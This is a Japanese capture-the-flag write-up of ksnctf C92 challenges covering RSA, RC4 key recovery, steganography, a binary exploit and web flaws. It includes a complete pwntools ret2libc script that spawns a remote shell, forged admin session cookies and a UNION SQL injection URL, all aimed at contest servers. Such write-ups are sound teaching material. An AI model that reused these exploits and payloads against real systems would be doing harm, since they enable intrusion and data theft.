P = 0x202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020464c41477b5876467454754841786d4959556f56447d

16進数を文字列に変更してフラグ入手。

FLAG{XvFtTuHAxmIYUoVD}


裏面 90pt

今度は普通にRSA。

ただしpとqが近いので、フェルマー法でnの素因数分解が出来る。

https://www.slideshare.net/sonickun/rsa-n-ssmjphttp://inaz2.hatenablog.com/entry/2016/01/09/032344 を参考にしました。

P = 0x202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020202020464c41477b384a69544b6255446c543330367262577d

同様に16進数を文字列に変換してフラグ入手。

FLAG{8JiTKbUDlT306rbW}


E5. Not Guilty?


表面 10pt

無線LANの復号問題。

http://n.pentest.ninja/?p=31621 の通りにWiresharkを使うと復号できます。

HTTP通信で画像ファイルが送られているので、エクスポート。

Wireshark

notguilty 表面

FLAG{bBVqBLqTxy3pR4F8}


裏面 136pt

Go言語でRC4を使って表面のフラグを変換しているプログラムと、変換後のデータが渡される。

RC4のkeyは1バイト目と2バイト目が0~255、3バイト目からはフラグらしい。

https://eprint.iacr.org/2007/471.pdf によると、PTW攻撃の中の、

F_{ptw2}(K[0], ... , K[l - 1], X[l]) = S_l^{-1} [l + 1 - X[l]] - (j_l + S_l[l] + S_l[l + 1]) => K[l] + K[l + 1] \: mod \: n

が使えそうなので、C#で実装して出力してみた。

(式中のKはkey文字列、XはRC4の出力、SはRC4の擬似乱数テーブル、jはRC4の中に出てくるj、lは探すkeyの位置)

using System;

using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.IO;

namespace ConsoleApp
{
class Program
{
const string FLAG1 = "FLAG{bBVqBLqTxy3pR4F8}";
const int FLAG_SIZE = 22;
const int N = 256;
const int KEY_COUNT = 256 * 256;

// KSAの実装
// Tupleの中身はS、i、j、PRGAの出力
static Tuple<byte[], int, int, int> KSA(byte[] key, int round)
{
if (round < 0 || round > 256)
return null;

byte[] s = new byte[256];
for (int k = 0; k < 256; k++)
s[k] = (byte)k;

int i = 0;
int j = 0;
for (; i < round; i++)
{
j = (j + s[i] + key[(i % key.Length)]) % 256;
byte t = s[i];
s[i] = s[j];
s[j] = t;
}

return Tuple.Create(s, i, j, 0);
}

// PRGAの実装
// Tupleの中身はS、i、j、PRGAの出力
static Tuple<byte[], int, int, int> PRGA(Tuple<byte[], int, int, int> s, int round)
{
if (round < 0)
return null;

int i = s.Item2;
int j = s.Item3;
for (int x = 0; x < round; x++)
{
i = (i + 1) % 256;
j = (j + s.Item1[i]) % 256;
byte t = s.Item1[i];
s.Item1[i] = s.Item1[j];
s.Item1[j] = t;
}

return Tuple.Create(s.Item1, i, j, (int)(s.Item1[(s.Item1[i] + s.Item1[j]) % 256]));
}

static void Main(string[] args)
{
// 判別したkey文字列
byte[] found_key = new byte[256];
// FとLのASCIIコード
found_key[0] = 70;
found_key[1] = 76;

List<byte[]> input = new List<byte[]>();
Dictionary<byte, int>[] dic = new Dictionary<byte, int>[FLAG_SIZE];
for (int i = 0; i < FLAG_SIZE; i++)
{
dic[i] = new Dictionary<byte, int>();
}

byte[] buffer = new byte[FLAG_SIZE];
using (FileStream fs = new FileStream(@"C:\Users\arushiro\Downloads\crypted.bin", FileMode.Open))
{
for (int i = 0; i < KEY_COUNT; i++)
{
fs.Read(buffer, 0, buffer.Length);
input.Add(buffer.Clone() as byte[]);
}
}

for (int n = 3; n < FLAG_SIZE; n++)
{
int c = 0;
Dictionary<byte, int> dic2 = new Dictionary<byte, int>();
foreach (var v in input)
{
// S_lやj_lの導出
var s = KSA((new byte[] { (byte)(c / 256), (byte)(c % 256) }).Concat(found_key).ToArray(), n);
byte sm = 0;

// S_l^-1の中身
int x = (n + 1 - (v[n] ^ Encoding.ASCII.GetBytes(FLAG1.ToCharArray())[n]));
if (x < 0)
x += 256;
x = x % 256;

// S_l^-1の部分の数値の導出
foreach (var st in s.Item1)
{
if (st == (byte)x)
break;
sm++;
}

// F_ptw2の計算
var f = (sm - (s.Item3 + s.Item1[n] + s.Item1[(n + 1) % 256])) - found_key[n - 3 + 1];
if (f < 0)
f += 256;
f = f % 256;

// 結果の保存
if (!dic2.ContainsKey((byte)f))
{
dic2.Add((byte)f, 0);
}
dic2[(byte)f]++;
//Console.Write(f);
c++;
}
// 結果のソート
var w = dic2.OrderByDescending(v => v.Value);
for (int i = 0; i < 5; i++)
Console.Write(w.ElementAt(i) + ", ");
Console.WriteLine(Encoding.ASCII.GetString(new byte[] { (byte)(w.First().Key) }));
found_key[n - 3 + 2] = (byte)(w.First().Key);
}
Console.WriteLine(Encoding.ASCII.GetString(found_key));
Console.ReadKey();
}
}
}

適当に書きすぎたので汚いのは大目に見て下さい......

[65, 340], [86, 306], [115, 299], [231, 299], [127, 296], A

[71, 357], [158, 305], [144, 299], [208, 294], [97, 291], G
[123, 349], [54, 298], [248, 297], [14, 293], [110, 289], {
[57, 350], [146, 318], [141, 301], [197, 299], [18, 294], 9
[75, 361], [137, 301], [30, 295], [230, 293], [122, 292], K
[57, 361], [231, 315], [146, 307], [0, 305], [210, 298], 9
[97, 330], [32, 291], [155, 290], [179, 289], [226, 287], a
[119, 374], [106, 293], [19, 292], [228, 291], [99, 290], w
[79, 367], [255, 303], [116, 297], [201, 292], [108, 291], O
[48, 347], [26, 300], [153, 290], [9, 289], [2, 285], 0
[52, 361], [46, 309], [56, 301], [112, 296], [226, 295], 4
[77, 360], [107, 313], [50, 302], [11, 297], [153, 294], M
[103, 375], [21, 307], [234, 303], [142, 302], [252, 301], g
[71, 333], [252, 318], [7, 303], [21, 301], [176, 297], G
[117, 374], [160, 295], [193, 294], [174, 294], [19, 293], u
[75, 374], [185, 296], [109, 292], [31, 292], [130, 292], K
[51, 311], [9, 302], [163, 297], [132, 295], [242, 292], 3
[56, 356], [213, 307], [4, 292], [209, 292], [183, 290], 8
[81, 357], [105, 298], [214, 291], [203, 290], [1, 287], Q
FLAG{9K9awO04MgGuK38Q

式の都合で最後の文字が出ませんが、}なので問題ないです。

FLAG{9K9awO04MgGuK38Q}


E6. flower

ステガノ問題。


表面

flower.png

この画像についてのフラグを3つ探す問題。


1. 10pt

うさみみハリケーンについてくる、青い空を見上げればいつもそこに白い猫を使いました。

image21.png

青色のbit1のプレーンがこれでした。

FLAG{ZPf1dTqXQcbD0ygl}


2. 15pt

image34.png

画像のサイズを640x640に変更すればみつかります。

FLAG{ozwPlyihMxgnxey0}


3. 15pt

IDAT

IDATのサイズがASCII範囲だと気付いた

464C41477B316A6D6D5A534C34413746535679427A7Dなので、16進数をASCII変換したらフラグが得られました。

FLAG{1jmmZSL4A7FSVyBz}


裏面 130pt

black.png

謎の黒画像が渡されます。

普通のPNGの黒画像とバイナリエディタで比較すると何かが変。

ステガノツールで覗くも何にも情報がないので、pngの仕様書を読んでいると、deflateの仕様を使い何か仕込んでるのではないかという気がしたので、解析してみることにしました。

とりあえずIDATのdata部分だけを切り出しblack.png.dataとし、

$ printf "\x1f\x8b\x08\x00\x00\x00\x00\x00" |cat - black.png.data > black.png.gz

で簡易gzip化、infgen (https://github.com/madler/infgen) という超強いdeflateの解析ツールを見つけたので使ってみました。

$ cat black.png.gz | ./infgen

!
gzip
!
last
fixed
literal 0
match 70 1
match 76 1
match 65 1
match 71 1
match 123 1
match 117 1
match 69 1
match 82 1
match 72 1
match 51 1
match 55 1
match 102 1
match 103 1
match 111 1
match 66 1
match 89 1
match 54 1
match 86 1
match 79 1
match 98 1
match 105 1
match 125 1
match 258 1
match 258 1
match 258 1
match 258 1
(以下省略)

戻る距離1のとこにある0をn回繰り返すというdeflate圧縮の、文字の連続する回数がどうやらフラグのようだとわかった。

ASCII文字に復号するとフラグが手に入ります。

FLAG{uERH37fgoBY6VObi}


E7. MD5


表面 60pt & 裏面 132pt

pwn苦手すぎてもがいていたら両方一気に解けてしまいました。

http://katc.hateblo.jp/entry/2016/10/28/124025 もの凄く参考にしました。

プログラムの流れは、

putsで文字列取得


setbuf

sleepとかalermとか

flag.txtを読み込む(バッファオーバーフローで消える位置)

※入力文字列の文字数を読み込み

入力文字列を読み込み(スタックBOFあり)

MD5の計算/出力(スタックを調整すると引数の読み込む文字数が調整できる)

memcmpで特定のMD5値と同じかチェック
↓同じなら       ↓違うなら
終了         flag.txtのMD5の計算/出力
           ↓
           ※へ

こんな感じ。

スタックBOFからのROPでlibcのアドレスを吐かせてシェルを起動すればいいのではないかと思いました。

RIPを奪うにはmain関数からretしないといけないので、gdbでmemcmp周りの引数から終了条件を調べると、f24f62eeb789199b9b2e467df3b1876bとハッシュ値が同じ文字列を入れると終了することが分かりました。

googleで調べるとこれはexitのMD5ハッシュ値でした。

あとはret2libcを pwntools (https://github.com/Gallopsled/pwntools) で書いてみました。

$ objdump -d libc.so.6 | grep "__libc_start_main>:"

0000000000021a40 <__libc_start_main>:
$ objdump -d libc.so.6 | grep "system>:"
0000000000041b00 <do_system>:
0000000000041fd0 <__libc_system>:
$ strings -tx libc.so.6 | grep /bin/sh
17c4c9 /bin/sh

#! /bin/python


from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug' # output verbose log

HOST = "ksnctfc92.u1tramarine.blue"
PORT = 55555
conn = None

elf = ELF('./md5')
libc = ELF('libc.so.6')

payload = ''
payload += 'exit'
payload += 'A'*80
payload += '\x04\x00\x00\x00'
payload += 'A'*32

rop = ROP(elf)
rop.call('puts', [elf.got["__libc_start_main"]])
rop.call('main', [])
log.info(rop.dump())

conn = remote(HOST, PORT)

conn.recvuntil('Input data length: ');
conn.sendline(str(len(payload + str(rop))));

conn.recvuntil('Input data: ');
conn.sendline(payload + str(rop));
conn.recvline()
ret = conn.recv(7)[0:-1] # trim '\n'
log.info(repr(ret))
libc_base_addr = u64(ret.ljust(8, '\0'))
log.info(repr(libc_base_addr))
libc_base_addr -= 0x21a40
log.info(repr(libc_base_addr))

rop2 = ROP(elf)
rop2.call(libc_base_addr + 0x41fd0, [libc_base_addr + 0x17c4c9])
log.info(rop2.dump())

conn.recvuntil('Input data length: ');
conn.sendline(str(len(payload + str(rop2))));

conn.recvuntil('Input data: ');
conn.sendline(payload + str(rop2));
conn.recvline()

conn.interactive()

MD5

表面裏面のフラグは順に、

FLAG{EukFcauPdlPYh0bK}

FLAG{OpBW3mIwSllxumQZ}


W. Kaisendon

Web/Forensics問。

kaisendon


1. 10pt

app.get('/', function(req, res, next) {

db.all('select * from don order by id desc limit 16', (error, dons) => {
res.render('index', {dons, flag: process.env.FLAG1});
})
});

ログイン出来るとindexページにFLAGが現れる。

そのためのログインページを探すのが目的。

.gitが見えるのでgitで調査

$ git log -g --abbrev-commit -pで表示されないコミットのログも見れます。

git

http://ksnctfc92.u1tramarine.blue:3000/register_yejaoy4eh19gjqqv

が仮ログインページだとわかりました。

ログインするとフラグが出ます。

login

FLAG{3snoa6p4wncj1hpf}


2. 11pt

app.get('/admin', (req, res) => {

if (req.session.admin) {
res.render('admin', {flag: process.env.FLAG2});
} else {
res.render('notadmin');
}
});

adminとしてログイン出来るとフラグが手に入る。

なのでクッキーをいじってadminに入ろうと考えました。

nodeのexpressで使ってるクッキーは署名されているのでそのままいじれない。

ソースはあるのでconfig.jsとか要らなさそうなのコメントアウトして、

adminをtrueにして実行。

私の使ってるnodeのバージョンが古くて()=>をfunctionに書き直したのがだるかった。

session: eyJyZWdpc3RlcmVkIjp0cnVlLCJhZG1pbiI6dHJ1ZX0=

session.sig: I7H6xVW_ro_Cip-MJFxz7tSDABk

とクッキーをいじって、

http://ksnctfc92.u1tramarine.blue:3000/admin

にアクセスするとフラグが手に入ります。

admin

FLAG{vakdriti4zzlj55p}


3. 12pt

var db = new sqlite3.Database(':memory:');

db.serialize(() => {
db.run('create table don ('+
'id integer primary key autoincrement,'+
'text text(1024))');
db.run('create table flag (flag text)');
db.run('insert into flag values (?)', process.env.FLAG3);
});

app.get('/edit/:id', (req, res) => {

if (req.session.admin) {
db.get('select * from don where id='+req.params.id, (error, don) => {
res.render('edit', {don});
})
} else {
res.render('notadmin');
}
});

SQLiteのデータベースの中にフラグがあります。

admin時に使えるedit機能にプレースホルダを使ってなく、SQLインジェクションが使える部分があります。

別のテーブルをくっつけるSQLインジェクションはUNION SQLインジェクションだと前に解いた問題で知っていたので早速使ってみました。

ttp://ksnctfc92.u1tramarine.blue:3000/edit/43%20UNION%20SELECT%201,%20flag%20from%20flag

43は適当な投稿id。自分でtestとか投稿して作られたidを利用しました。

flagテーブルとUnionする時はflagテーブル側のidの方が小さくないと表示されないです。

unionsqlinj

FLAG{bpodf2es4k9e42rf}


まとめ

解いていて非常に楽しかったです。

一番解けて楽しかったのはflowerの裏問題、一番難しいと感じたのは裏not guilty?でした。

ksnctfは私がCTFやってみようと思うきっかけだったので、スピンオフのC92で全完出来てとても嬉しかったです。

肝心のksnctfがまだ全完出来てないのでがんばります......

あとksnctfC92本買ったんですが、第11章の統計情報の全完おめでとうのところで私だけさん付けじゃないというフラグ見つけたので追加でポイントください